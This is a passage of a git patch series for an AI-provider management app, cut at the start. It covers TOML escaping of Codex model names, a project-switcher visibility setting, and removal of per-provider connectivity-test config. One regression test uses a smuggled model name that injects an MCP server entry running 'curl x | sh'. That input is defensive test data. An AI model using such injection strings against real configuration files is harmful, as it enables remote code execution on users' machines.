"curl x | sh'; + const result = setCodexModelName(input, hostile); + + expect(result).not.toMatch(/^\[mcp_servers\.pwn\]$/m); + expect(result).not.toMatch(/^command = /m); + expect(result).toContain( + 'model = "evil\\"\\n[mcp_servers.pwn]\\ncommand = \\"curl x | sh"', + ); + expect( + result.split("\n").filter((line) => line.startsWith("model = ")), + ).toHaveLength(1); + }); + + it("escapes backslashes in model names", () => { + const result = setCodexModelName(input, "vendor\\model"); + expect(result).toContain('model = "vendor\\\\model"'); + }); + + it("round-trips names containing quotes and backslashes", () => { + const name = 'a"b\\c'; + const written = setCodexModelName(input, name); + expect(extractCodexModelName(written)).toBe(name); + }); + + it("replaces an escaped existing model line instead of duplicating it", () => { + const written = setCodexModelName(input, 'evil"name'); + const result = setCodexModelName(written, "gpt-5.6"); + expect( + result.split("\n").filter((line) => line.startsWith("model = ")), + ).toHaveLength(1); + expect(extractCodexModelName(result)).toBe("gpt-5.6"); + }); + + it("replaces empty-string and single-quoted model lines", () => { + const emptyModel = `model_provider = "custom"\nmodel = ""\n`; + expect(extractCodexModelName(emptyModel)).toBe(""); + const replaced = setCodexModelName(emptyModel, "gpt-5.6"); + expect( + replaced.split("\n").filter((line) => line.startsWith("model = ")), + ).toHaveLength(1); + expect(extractCodexModelName(replaced)).toBe("gpt-5.6"); + + const singleQuoted = `model = 'kimi-k2.7'\n`; + expect(extractCodexModelName(singleQuoted)).toBe("kimi-k2.7"); + }); +}); diff --git a/src/utils/providerConfigUtils.ts b/src/utils/providerConfigUtils.ts index b671a8ce8..3350e9a74 100644 --- a/src/utils/providerConfigUtils.ts +++ b/src/utils/providerConfigUtils.ts @@ -375,7 +375,14 @@ const TOML_EXPERIMENTAL_BEARER_TOKEN_PATTERN = /^\s*experimental_bearer_token\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/; const TOML_EXPERIMENTAL_BEARER_TOKEN_REPLACE_PATTERN = /^(\s*experimental_bearer_token\s*=\s*)(?:"(?:\\.|[^"\\\r\n])*"|'[^'\r\n]*')(\s*(?:#.*)?)$/; -const TOML_MODEL_PATTERN = /^\s*model\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/; +// 双引号基本字符串(支持 \" \\ 等转义序列,识别 setCodexModelName 自己的 +// 转义输出),提取后需反转义。刻意只做整行严格匹配、不做键名宽匹配—— +// 宽匹配会误伤多行字符串里长得像赋值的文本;认不出的怪值由用户负责。 +const TOML_MODEL_DOUBLE_QUOTED_PATTERN = + /^\s*model\s*=\s*"((?:[^"\\\r\n]|\\.)*)"\s*(?:#.*)?$/; +// 单引号字面字符串(TOML 语义:无转义) +const TOML_MODEL_SINGLE_QUOTED_PATTERN = + /^\s*model\s*=\s*'([^'\r\n]*)'\s*(?:#.*)?$/; const TOML_WIRE_API_PATTERN = /^\s*wire_api\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/; const TOML_MODEL_PROVIDER_LINE_PATTERN = @@ -669,6 +676,26 @@ const escapeTomlBasicString = (value: string): string => const tomlBasicString = (value: string): string => `"${escapeTomlBasicString(value)}"`; +const TOML_BASIC_STRING_UNESCAPES: Record = { + '"': '"', + "\\": "\\", + b: "\b", + t: "\t", + n: "\n", + f: "\f", + r: "\r", +}; + +// escapeTomlBasicString 的逆运算;未知转义序列原样保留 +const unescapeTomlBasicString = (value: string): string => + value.replace( + /\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|(.))/g, + (match, u4, u8, ch) => { + if (u4 || u8) return String.fromCodePoint(parseInt(u4 || u8, 16)); + return TOML_BASIC_STRING_UNESCAPES[ch] ?? match; + }, + ); + const CODEX_CHAT_WIRE_API_VALUES = new Set([ "chat", "chat_completions", @@ -1273,7 +1300,7 @@ export const setCodexBaseUrl = ( } const normalizedUrl = trimmed.replace(/\s+/g, ""); - const replacementLine = `base_url = "${normalizedUrl}"`; + const replacementLine = `base_url = ${tomlBasicString(normalizedUrl)}`; if (targetSectionName) { let targetSectionRange = getTomlSectionRange(lines, targetSectionName); @@ -1347,7 +1374,24 @@ export const setCodexBaseUrl = ( // ========== Codex model name utils ========== -// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号) +// 顶层范围内第一个能被严格模式识别的 model 行;-1 表示没有 +const findTopLevelModelLineIndex = ( + lines: string[], + topLevelEndIndex: number, +): number => { + for (let i = 0; i < topLevelEndIndex; i += 1) { + if ( + TOML_MODEL_DOUBLE_QUOTED_PATTERN.test(lines[i]) || + TOML_MODEL_SINGLE_QUOTED_PATTERN.test(lines[i]) + ) { + return i; + } + } + return -1; +}; + +// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号; +// 双引号串按 TOML 基本字符串反转义,保证与 setCodexModelName round-trip) export const extractCodexModelName = ( configText: string | undefined | null, ): string | undefined => { @@ -1356,13 +1400,14 @@ export const extractCodexModelName = ( const text = normalizeTomlText(raw); if (!text) return undefined; const lines = text.split("\n"); - const topLevelMatch = findTomlAssignmentInRange( - lines, - TOML_MODEL_PATTERN, - 0, - getTopLevelEndIndex(lines), - ); - return topLevelMatch?.value; + const topLevelEndIndex = getTopLevelEndIndex(lines); + for (let i = 0; i < topLevelEndIndex; i += 1) { + const doubleQuoted = lines[i].match(TOML_MODEL_DOUBLE_QUOTED_PATTERN); + if (doubleQuoted) return unescapeTomlBasicString(doubleQuoted[1]); + const singleQuoted = lines[i].match(TOML_MODEL_SINGLE_QUOTED_PATTERN); + if (singleQuoted) return singleQuoted[1]; + } + return undefined; } catch { return undefined; } @@ -1377,24 +1422,21 @@ export const setCodexModelName = ( const normalizedText = normalizeTomlText(configText); const lines = normalizedText ? normalizedText.split("\n") : []; const topLevelEndIndex = getTopLevelEndIndex(lines); - const topLevelMatch = findTomlAssignmentInRange( - lines, - TOML_MODEL_PATTERN, - 0, - topLevelEndIndex, - ); + const modelLineIndex = findTopLevelModelLineIndex(lines, topLevelEndIndex); if (!trimmed) { if (!normalizedText) return normalizedText; - if (topLevelMatch) { - lines.splice(topLevelMatch.index, 1); + if (modelLineIndex !== -1) { + lines.splice(modelLineIndex, 1); } return finalizeTomlText(lines); } - const replacementLine = `model = "${trimmed}"`; - if (topLevelMatch) { - lines[topLevelMatch.index] = replacementLine; + // 模型名可能来自远端 /models 响应(下拉选择),必须转义——裸插值会让 + // 含引号/控制字符的 id 破坏甚至注入 config.toml(如伪造 [mcp_servers.*]) + const replacementLine = `model = ${tomlBasicString(trimmed)}`; + if (modelLineIndex !== -1) { + lines[modelLineIndex] = replacementLine; return finalizeTomlText(lines); } From 442799879d38eefd3c9d3056277382067c4f6985 Mon Sep 17 00:00:00 2001 From: Jason Date: Fri, 10 Jul 2026 11:04:59 +0800 Subject: [PATCH 50/73] feat(profiles): add setting to toggle project switcher on main page Add a show/hide toggle for the header project profile switcher under the Homepage Display section in settings. Defaults to visible so existing users keep the current behavior. --- src-tauri/src/settings.rs | 8 ++++++++ src/App.tsx | 17 +++++++++-------- .../settings/AppVisibilitySettings.tsx | 9 +++++++++ src/i18n/locales/en.json | 4 +++- src/i18n/locales/ja.json | 4 +++- src/i18n/locales/zh-TW.json | 4 +++- src/i18n/locales/zh.json | 4 +++- src/types.ts | 2 ++ 8 files changed, 40 insertions(+), 12 deletions(-) diff --git a/src-tauri/src/settings.rs b/src-tauri/src/settings.rs index 8bdd24cca..78c72e5fa 100644 --- a/src-tauri/src/settings.rs +++ b/src-tauri/src/settings.rs @@ -374,6 +374,9 @@ pub struct AppSettings { /// Whether to show the failover toggle independently on the main page #[serde(default)] pub enable_failover_toggle: bool, + /// Whether to show the project profile switcher on the main page header + #[serde(default = "default_show_profile_switcher")] + pub show_profile_switcher: bool, /// Keep Codex ChatGPT login material in auth.json when switching to third-party providers. /// Opt-in: defaults to false so third-party switches cleanly overwrite auth.json. #[serde(default)] @@ -490,6 +493,10 @@ fn default_minimize_to_tray_on_close() -> bool { true } +fn default_show_profile_switcher() -> bool { + true +} + impl Default for AppSettings { fn default() -> Self { Self { @@ -506,6 +513,7 @@ impl Default for AppSettings { usage_dashboard_refresh_interval_ms: None, stream_check_confirmed: None, enable_failover_toggle: false, + show_profile_switcher: true, preserve_codex_official_auth_on_switch: false, unify_codex_session_history: false, unify_codex_migrate_existing: None, diff --git a/src/App.tsx b/src/App.tsx index 877db16e6..645f1002d 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -1263,14 +1263,15 @@ function App() { )}
)} - {currentView === "providers" && ( -
- -
- )} + {currentView === "providers" && + (settingsData?.showProfileSwitcher ?? true) && ( +
+ +
+ )}
+ } + title={t("settings.appVisibility.showProfileSwitcher")} + description={t("settings.appVisibility.showProfileSwitcherDescription")} + checked={settings.showProfileSwitcher ?? true} + onCheckedChange={(value) => onChange({ showProfileSwitcher: value })} + /> ); } diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 82d153475..99ac9650f 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -697,7 +697,9 @@ "claudeDesc": "Anthropic Claude Code CLI", "codexDesc": "OpenAI Codex CLI", "geminiDesc": "Google Gemini CLI", - "opencodeDesc": "OpenCode CLI" + "opencodeDesc": "OpenCode CLI", + "showProfileSwitcher": "Show project switcher", + "showProfileSwitcherDescription": "Show the project switcher in the main page header" }, "skillStorage": { "title": "Skill Storage Location", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 9c5625015..372a1bcc2 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -697,7 +697,9 @@ "claudeDesc": "Anthropic Claude Code CLI", "codexDesc": "OpenAI Codex CLI", "geminiDesc": "Google Gemini CLI", - "opencodeDesc": "OpenCode CLI" + "opencodeDesc": "OpenCode CLI", + "showProfileSwitcher": "プロジェクト切り替えを表示", + "showProfileSwitcherDescription": "メイン画面上部にプロジェクト切り替えを表示します" }, "skillStorage": { "title": "スキル保存場所", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 7a90cedee..9a5159b69 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -697,7 +697,9 @@ "claudeDesc": "Anthropic Claude Code CLI", "codexDesc": "OpenAI Codex CLI", "geminiDesc": "Google Gemini CLI", - "opencodeDesc": "OpenCode CLI" + "opencodeDesc": "OpenCode CLI", + "showProfileSwitcher": "顯示專案切換", + "showProfileSwitcherDescription": "在主頁面頂部顯示專案切換入口" }, "skillStorage": { "title": "Skills 儲存位置", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 285f0fdf7..14217da66 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -697,7 +697,9 @@ "claudeDesc": "Anthropic Claude Code CLI", "codexDesc": "OpenAI Codex CLI", "geminiDesc": "Google Gemini CLI", - "opencodeDesc": "OpenCode CLI" + "opencodeDesc": "OpenCode CLI", + "showProfileSwitcher": "显示项目切换", + "showProfileSwitcherDescription": "在主页面顶部显示项目切换入口" }, "skillStorage": { "title": "Skills 存储位置", diff --git a/src/types.ts b/src/types.ts index eab67ac61..7a025b818 100644 --- a/src/types.ts +++ b/src/types.ts @@ -375,6 +375,8 @@ export interface Settings { streamCheckConfirmed?: boolean; // Whether to show the failover toggle independently on the main page enableFailoverToggle?: boolean; + // Whether to show the project profile switcher on the main page header + showProfileSwitcher?: boolean; // Preserve Codex ChatGPT login in auth.json when switching third-party providers preserveCodexOfficialAuthOnSwitch?: boolean; // Run official Codex under the shared "custom" provider id so future From 06039540ffca5dafc7c7b26e6cd2c873c043067d Mon Sep 17 00:00:00 2001 From: Jason Date: Fri, 10 Jul 2026 13:42:09 +0800 Subject: [PATCH 51/73] refactor(health-check): remove per-provider test config --- CHANGELOG.md | 1 + src-tauri/src/provider.rs | 23 --- src-tauri/src/services/stream_check.rs | 81 +--------- src-tauri/src/settings.rs | 4 - src/components/FirstRunNoticeDialog.tsx | 2 +- .../providers/EditProviderDialog.tsx | 2 +- .../providers/HealthStatusIndicator.tsx | 2 +- .../forms/ProviderAdvancedConfig.tsx | 149 +----------------- .../providers/forms/ProviderForm.tsx | 8 - src/components/settings/SettingsPage.tsx | 12 +- ...l.tsx => ConnectivityCheckConfigPanel.tsx} | 4 +- src/hooks/useStreamCheck.ts | 2 +- src/i18n/locales/en.json | 51 +----- src/i18n/locales/ja.json | 51 +----- src/i18n/locales/zh-TW.json | 51 +----- src/i18n/locales/zh.json | 51 +----- .../{model-test.ts => connectivity-check.ts} | 6 +- src/types.ts | 16 -- 18 files changed, 48 insertions(+), 468 deletions(-) rename src/components/usage/{ModelTestConfigPanel.tsx => ConnectivityCheckConfigPanel.tsx} (98%) rename src/lib/api/{model-test.ts => connectivity-check.ts} (94%) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8f948bbdc..12c1d2cfe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,7 @@ Development since v3.16.4 reworks the Codex native-Responses path — restoring ### Changed +- **Provider Connectivity Configuration Simplified**: Removed the obsolete per-provider `testConfig` override (timeout, retry count, and degraded-latency threshold) from provider forms, frontend/backend provider metadata, and reachability-check merging. The lightweight `base_url` probe now always uses the single global connectivity-check configuration, while automatic failover remains driven exclusively by its separate proxy timeout and circuit-breaker settings. Also renamed the remaining settings UI and API modules from model-test terminology to connectivity-check terminology, removed the retired first-use confirmation flag, and deleted stale model/prompt/error copy across all four locales. - **Decoupled Codex Model Mapping From the Local-Routing Toggle**: Aligns the Codex provider form with Claude Code — the model-mapping catalog is now independent of route takeover, since native Responses providers (MiMo, Doubao, MiniMax) need it for proxy-less direct connect while Chat providers use the proxy regardless of any per-provider flag. The "Needs Local Routing" toggle is removed: it had no backend field and only gated catalog/reasoning persistence, which is equivalent to whether the mapping is filled. Model mapping is now always shown for non-official providers and persisted whenever the list is non-empty (the backend already keys off `modelCatalog.models`), while reasoning visibility/persistence is gated on the Chat format instead of the toggle. The Chat upstream-format option is marked "routing required" with a refreshed advanced-section hint across all four locales (zh/en/ja/zh-TW), dead `localRouting*` keys are dropped, and the model-mapping block moves above the custom User-Agent block. Also fixes `useCodexConfigState` dropping `supportsParallelToolCalls`/`inputModalities`/`baseInstructions` when loading a saved provider — which silently lost parallel tools, image input, and the official base instructions on edit — by preserving them on load (camelCase and snake_case) and comparing them in the row sync. - **Auto-Sync Claude Common Config From Live settings.json on Switch**: When switching away from a Claude provider that has `common_config_enabled`, the service now re-extracts the shareable portion of its live `settings.json` and replaces the stored common-config snippet, instead of only writing the snippet one way. This captures config the user added directly in the running app (`enabledPlugins`, `hooks`, `env`, `theme`, shared prefs) so it isn't silently lost on the next switch, and it propagates deletions so a removed key isn't re-injected later. The sync in `services/provider/mod.rs` is scoped strictly to Claude providers with `common_config_enabled`, is skipped when the snippet was explicitly cleared, and all failures are non-fatal (warn-only) and never block the switch. Four integration tests cover capture / delete-sync / opt-out / cleared. - **Default Sonnet Tier Now Pins to Claude Sonnet 5**: Bumped every default Sonnet pin from `claude-sonnet-4-6`/`claude-sonnet-4.6` to `claude-sonnet-5` across all provider presets (`claudeProviderPresets`, `claudeDesktopProviderPresets`, `hermesProviderPresets`, `openclawProviderPresets`, `opencodeProviderPresets`, and universal `NEWAPI_DEFAULT_MODELS`), covering the `ANTHROPIC_MODEL` / `ANTHROPIC_DEFAULT_SONNET_MODEL` / `ANTHROPIC_DEFAULT_OPUS_MODEL` env keys and prefixed variants like `anthropic/claude-sonnet-5` and `global.anthropic.claude-sonnet-5`. The Claude Desktop `DEFAULT_PROXY_ROUTES` sonnet `route_id` in `claude_desktop_config.rs` also moves to `claude-sonnet-5` (`supports_1m` preserved), and the route-derivation test expectations were updated to match. Non-Anthropic pins (gpt/gemini/glm/sonnet-4-5) were left untouched. diff --git a/src-tauri/src/provider.rs b/src-tauri/src/provider.rs index 2645e21bc..7056cb820 100644 --- a/src-tauri/src/provider.rs +++ b/src-tauri/src/provider.rs @@ -303,26 +303,6 @@ pub struct UsageResult { pub error: Option, } -/// 供应商单独的连通检测配置 -#[derive(Debug, Clone, Serialize, Deserialize, Default)] -pub struct ProviderTestConfig { - /// 是否启用单独配置(false 时使用全局配置) - #[serde(default)] - pub enabled: bool, - /// 超时时间(秒) - #[serde(rename = "timeoutSecs", skip_serializing_if = "Option::is_none")] - pub timeout_secs: Option, - /// 降级阈值(毫秒) - #[serde( - rename = "degradedThresholdMs", - skip_serializing_if = "Option::is_none" - )] - pub degraded_threshold_ms: Option, - /// 最大重试次数 - #[serde(rename = "maxRetries", skip_serializing_if = "Option::is_none")] - pub max_retries: Option, -} - /// 认证绑定来源 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] #[serde(rename_all = "snake_case")] @@ -454,9 +434,6 @@ pub struct ProviderMeta { /// 每月消费限额(USD) #[serde(rename = "limitMonthlyUsd", skip_serializing_if = "Option::is_none")] pub limit_monthly_usd: Option, - /// 供应商单独的模型测试配置 - #[serde(rename = "testConfig", skip_serializing_if = "Option::is_none")] - pub test_config: Option, /// Claude API 格式(仅 Claude 供应商使用) /// - "anthropic": 原生 Anthropic Messages API,直接透传 /// - "openai_chat": OpenAI Chat Completions 格式,需要转换 diff --git a/src-tauri/src/services/stream_check.rs b/src-tauri/src/services/stream_check.rs index 76aa9d0a3..8bf99519f 100644 --- a/src-tauri/src/services/stream_check.rs +++ b/src-tauri/src/services/stream_check.rs @@ -92,19 +92,12 @@ impl StreamCheckService { config: &StreamCheckConfig, base_url_override: Option, ) -> Result { - let effective = Self::merge_provider_config(provider, config); - let mut last_result: Option = None; - for attempt in 0..=effective.max_retries { + for attempt in 0..=config.max_retries { let start = Instant::now(); - let result = Self::check_once( - app_type, - provider, - &effective, - base_url_override.clone(), - start, - ) - .await?; + let result = + Self::check_once(app_type, provider, config, base_url_override.clone(), start) + .await?; if result.success { return Ok(StreamCheckResult { @@ -114,7 +107,7 @@ impl StreamCheckService { } // 仅超时 / abort 类网络抖动值得重试;连接被拒、DNS 失败等立即返回。 - if Self::should_retry(&result.message) && attempt < effective.max_retries { + if Self::should_retry(&result.message) && attempt < config.max_retries { last_result = Some(result); continue; } @@ -132,31 +125,11 @@ impl StreamCheckService { http_status: None, model_used: String::new(), tested_at: chrono::Utc::now().timestamp(), - retry_count: effective.max_retries, + retry_count: config.max_retries, error_category: None, })) } - /// 合并供应商单独配置(`meta.testConfig`,仅当 `enabled`)与全局配置。 - fn merge_provider_config(provider: &Provider, global: &StreamCheckConfig) -> StreamCheckConfig { - let tc = provider - .meta - .as_ref() - .and_then(|m| m.test_config.as_ref()) - .filter(|tc| tc.enabled); - - match tc { - Some(tc) => StreamCheckConfig { - timeout_secs: tc.timeout_secs.unwrap_or(global.timeout_secs), - max_retries: tc.max_retries.unwrap_or(global.max_retries), - degraded_threshold_ms: tc - .degraded_threshold_ms - .unwrap_or(global.degraded_threshold_ms), - }, - None => global.clone(), - } - } - /// 单次连通性探测。 async fn check_once( app_type: &AppType, @@ -474,48 +447,6 @@ mod tests { assert_eq!(r.status, HealthStatus::Degraded); } - #[test] - fn test_merge_provider_config_override_and_default() { - use crate::provider::{ProviderMeta, ProviderTestConfig}; - - let global = StreamCheckConfig::default(); - - // 无 testConfig → 用全局 - let p = make_provider(serde_json::json!({})); - let merged = StreamCheckService::merge_provider_config(&p, &global); - assert_eq!(merged.timeout_secs, global.timeout_secs); - - // testConfig 启用并覆盖部分字段 - let mut p2 = make_provider(serde_json::json!({})); - p2.meta = Some(ProviderMeta { - test_config: Some(ProviderTestConfig { - enabled: true, - timeout_secs: Some(20), - degraded_threshold_ms: Some(3000), - max_retries: None, - }), - ..Default::default() - }); - let merged2 = StreamCheckService::merge_provider_config(&p2, &global); - assert_eq!(merged2.timeout_secs, 20); - assert_eq!(merged2.degraded_threshold_ms, 3000); - assert_eq!(merged2.max_retries, global.max_retries); // 未覆盖 → 全局 - - // testConfig 存在但未启用 → 忽略,用全局 - let mut p3 = make_provider(serde_json::json!({})); - p3.meta = Some(ProviderMeta { - test_config: Some(ProviderTestConfig { - enabled: false, - timeout_secs: Some(99), - degraded_threshold_ms: None, - max_retries: None, - }), - ..Default::default() - }); - let merged3 = StreamCheckService::merge_provider_config(&p3, &global); - assert_eq!(merged3.timeout_secs, global.timeout_secs); - } - #[test] fn test_resolve_opencode_base_url_explicit_wins() { let p = make_provider(serde_json::json!({ diff --git a/src-tauri/src/settings.rs b/src-tauri/src/settings.rs index 78c72e5fa..8d99de06c 100644 --- a/src-tauri/src/settings.rs +++ b/src-tauri/src/settings.rs @@ -368,9 +368,6 @@ pub struct AppSettings { pub usage_confirmed: Option, #[serde(default, skip_serializing_if = "Option::is_none")] pub usage_dashboard_refresh_interval_ms: Option, - /// User has confirmed the stream check first-run notice - #[serde(default, skip_serializing_if = "Option::is_none")] - pub stream_check_confirmed: Option, /// Whether to show the failover toggle independently on the main page #[serde(default)] pub enable_failover_toggle: bool, @@ -511,7 +508,6 @@ impl Default for AppSettings { proxy_confirmed: None, usage_confirmed: None, usage_dashboard_refresh_interval_ms: None, - stream_check_confirmed: None, enable_failover_toggle: false, show_profile_switcher: true, preserve_codex_official_auth_on_switch: false, diff --git a/src/components/FirstRunNoticeDialog.tsx b/src/components/FirstRunNoticeDialog.tsx index ed8d18535..cbe6cd335 100644 --- a/src/components/FirstRunNoticeDialog.tsx +++ b/src/components/FirstRunNoticeDialog.tsx @@ -20,7 +20,7 @@ export function FirstRunNoticeDialog() { const { data: settings } = useSettingsQuery(); // 后端启动时已经决定好要不要弹:条件不满足的话字段会立即被写成 true, - // 所以前端这里只需要判空即可——完全对齐 streamCheckConfirmed 等既有 flag 的模式。 + // 所以前端这里只需要判空即可——与其他既有确认标记的模式一致。 const isOpen = settings != null && settings.firstRunNoticeConfirmed !== true; const handleAcknowledge = async () => { diff --git a/src/components/providers/EditProviderDialog.tsx b/src/components/providers/EditProviderDialog.tsx index 688e2db6f..595c1bd1c 100644 --- a/src/components/providers/EditProviderDialog.tsx +++ b/src/components/providers/EditProviderDialog.tsx @@ -174,7 +174,7 @@ export function EditProviderDialog({ }, [ open, // 修复:编辑保存后再次打开显示旧数据,依赖 open 确保每次打开时重新读取最新 provider 数据 provider?.id, // 只依赖 ID,provider 对象更新不会触发重新计算 - provider?.meta, // 需要依赖 meta 以便正确初始化 testConfig + provider?.meta, // 供应商元数据变化时重新初始化表单 initialSettingsConfig, ]); diff --git a/src/components/providers/HealthStatusIndicator.tsx b/src/components/providers/HealthStatusIndicator.tsx index 0fd319f2c..6612daa71 100644 --- a/src/components/providers/HealthStatusIndicator.tsx +++ b/src/components/providers/HealthStatusIndicator.tsx @@ -1,6 +1,6 @@ import React from "react"; import { cn } from "@/lib/utils"; -import type { HealthStatus } from "@/lib/api/model-test"; +import type { HealthStatus } from "@/lib/api/connectivity-check"; import { useTranslation } from "react-i18next"; interface HealthStatusIndicatorProps { diff --git a/src/components/providers/forms/ProviderAdvancedConfig.tsx b/src/components/providers/forms/ProviderAdvancedConfig.tsx index 3724e62b2..2f6679ba8 100644 --- a/src/components/providers/forms/ProviderAdvancedConfig.tsx +++ b/src/components/providers/forms/ProviderAdvancedConfig.tsx @@ -1,6 +1,6 @@ import { useTranslation } from "react-i18next"; import { useState, useEffect } from "react"; -import { ChevronDown, ChevronRight, FlaskConical, Coins } from "lucide-react"; +import { ChevronDown, ChevronRight, Coins } from "lucide-react"; import { Input } from "@/components/ui/input"; import { Label } from "@/components/ui/label"; import { Switch } from "@/components/ui/switch"; @@ -12,8 +12,6 @@ import { SelectValue, } from "@/components/ui/select"; import { cn } from "@/lib/utils"; -import type { ProviderTestConfig } from "@/types"; - export type PricingModelSourceOption = "inherit" | "request" | "response"; interface ProviderPricingConfig { @@ -23,170 +21,25 @@ interface ProviderPricingConfig { } interface ProviderAdvancedConfigProps { - testConfig: ProviderTestConfig; pricingConfig: ProviderPricingConfig; - onTestConfigChange: (config: ProviderTestConfig) => void; onPricingConfigChange: (config: ProviderPricingConfig) => void; } export function ProviderAdvancedConfig({ - testConfig, pricingConfig, - onTestConfigChange, onPricingConfigChange, }: ProviderAdvancedConfigProps) { const { t } = useTranslation(); - const [isTestConfigOpen, setIsTestConfigOpen] = useState(testConfig.enabled); const [isPricingConfigOpen, setIsPricingConfigOpen] = useState( pricingConfig.enabled, ); - useEffect(() => { - setIsTestConfigOpen(testConfig.enabled); - }, [testConfig.enabled]); - useEffect(() => { setIsPricingConfigOpen(pricingConfig.enabled); }, [pricingConfig.enabled]); return (
-
- -
-
-

- {t("providerAdvanced.testConfigDesc", { - defaultValue: - "为此供应商配置单独的连通检测参数(超时/阈值/重试),不启用时使用全局配置。", - })} -

-
-
- - - onTestConfigChange({ - ...testConfig, - timeoutSecs: e.target.value - ? parseInt(e.target.value, 10) - : undefined, - }) - } - placeholder="8" - disabled={!testConfig.enabled} - /> -
-
- - - onTestConfigChange({ - ...testConfig, - degradedThresholdMs: e.target.value - ? parseInt(e.target.value, 10) - : undefined, - }) - } - placeholder="6000" - disabled={!testConfig.enabled} - /> -
-
- - - onTestConfigChange({ - ...testConfig, - maxRetries: e.target.value - ? parseInt(e.target.value, 10) - : undefined, - }) - } - placeholder="1" - disabled={!testConfig.enabled} - /> -
-
-
-
-
- {/* 计费配置 */}
- + diff --git a/src/components/usage/ModelTestConfigPanel.tsx b/src/components/usage/ConnectivityCheckConfigPanel.tsx similarity index 98% rename from src/components/usage/ModelTestConfigPanel.tsx rename to src/components/usage/ConnectivityCheckConfigPanel.tsx index a4af4375d..cf4bf113d 100644 --- a/src/components/usage/ModelTestConfigPanel.tsx +++ b/src/components/usage/ConnectivityCheckConfigPanel.tsx @@ -10,9 +10,9 @@ import { getStreamCheckConfig, saveStreamCheckConfig, type StreamCheckConfig, -} from "@/lib/api/model-test"; +} from "@/lib/api/connectivity-check"; -export function ModelTestConfigPanel() { +export function ConnectivityCheckConfigPanel() { const { t } = useTranslation(); const [isLoading, setIsLoading] = useState(true); const [isSaving, setIsSaving] = useState(false); diff --git a/src/hooks/useStreamCheck.ts b/src/hooks/useStreamCheck.ts index 701486d5a..a3bd07524 100644 --- a/src/hooks/useStreamCheck.ts +++ b/src/hooks/useStreamCheck.ts @@ -4,7 +4,7 @@ import { useTranslation } from "react-i18next"; import { streamCheckProvider, type StreamCheckResult, -} from "@/lib/api/model-test"; +} from "@/lib/api/connectivity-check"; import type { AppId } from "@/lib/api"; /** diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 99ac9650f..5da83962c 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -299,11 +299,6 @@ "message": "Usage query requires a custom script or API parameters. Please make sure you have obtained the necessary information from your provider.\n\nIf unsure how to configure, please consult your provider's documentation first.", "confirm": "I understand, configure" }, - "streamCheck": { - "title": "Model Health Check", - "message": "Health check tests provider connectivity by sending a direct API request. The following may cause check failures:\n\n• Official providers (uses OAuth login, no standalone API Key)\n• Some relay services (verify requests come from Claude Code CLI)\n• AWS Bedrock (uses IAM signature authentication)\n\nA failed check does not mean the provider is unusable — it only means it cannot be verified via a standalone request. Please refer to actual behavior within the application.", - "confirm": "I understand, proceed" - }, "autoSync": { "title": "Enable Auto Sync", "message": "When auto sync is enabled, every database change will be automatically uploaded to the WebDAV server.\n\nThis may result in significant network traffic. Please ensure your network and WebDAV service can handle frequent data transfers.", @@ -344,9 +339,9 @@ "running": "Running", "stopped": "Stopped" }, - "modelTest": { - "title": "Model Test Config", - "description": "Configure default models and prompts for model testing" + "connectivityCheck": { + "title": "Connectivity Check Settings", + "description": "Configure timeout, retries, and the slow-response threshold for provider reachability checks" }, "failover": { "title": "Auto Failover", @@ -1240,15 +1235,6 @@ "empty": "No endpoints" }, "providerAdvanced": { - "testConfig": "Model Test Config", - "useCustomConfig": "Use separate config", - "testConfigDesc": "Configure separate model testing parameters for this provider. Uses global settings when disabled.", - "testModel": "Test Model", - "testModelPlaceholder": "Leave empty to use global config", - "timeoutSecs": "Timeout (seconds)", - "testPrompt": "Test Prompt", - "degradedThreshold": "Degraded Threshold (ms)", - "maxRetries": "Max Retries", "pricingConfig": "Pricing Config", "useCustomPricing": "Use separate config", "pricingConfigDesc": "Configure separate pricing parameters for this provider. Uses global defaults when disabled.", @@ -2450,9 +2436,6 @@ "agents": { "title": "Agents" }, - "modelTest": { - "testProvider": "Test model" - }, "health": { "operational": "Operational", "degraded": "Degraded", @@ -2660,35 +2643,13 @@ "unreachable": "{{providerName}} unreachable: {{message}}", "unreachableHint": "Could not establish a connection (DNS / connect / TLS / timeout). Check the base_url and your network.", "connectivityNote": "Connectivity check only probes whether the provider address is reachable; it does not send a real model request. Any response counts as \"reachable\" — which does not guarantee that auth or model settings are correct.", - "configSaved": "Health check config saved", + "configSaved": "Connectivity check settings saved", "configSaveFailed": "Save failed", - "testModels": "Test Models", - "claudeModel": "Claude Model", - "codexModel": "Codex Model", - "geminiModel": "Gemini Model", "checkParams": "Check Parameters", "timeout": "Timeout (seconds)", "maxRetries": "Max Retries", - "degradedThreshold": "Degraded Threshold (ms)", - "testPrompt": "Test Prompt", - "operational": "{{providerName}} is operational ({{responseTimeMs}}ms)", - "degraded": "{{providerName}} is slow ({{responseTimeMs}}ms)", - "failed": "{{providerName}} check failed: {{message}}", - "rejected": "{{providerName}} check rejected: {{message}}", - "error": "{{providerName}} check error: {{error}}", - "modelNotFound": "{{providerName}} test model {{model}} does not exist or has been deprecated", - "modelNotFoundHint": "This model may have been retired by the provider. Update the default test model in \"Model Test Config\".", - "quotaExceeded": "{{providerName}} Coding Plan quota has been exceeded", - "quotaExceededHint": "Baidu Qianfan returned a Coding Plan quota-limit error. Wait for the 5-hour, weekly, or monthly quota refresh, or 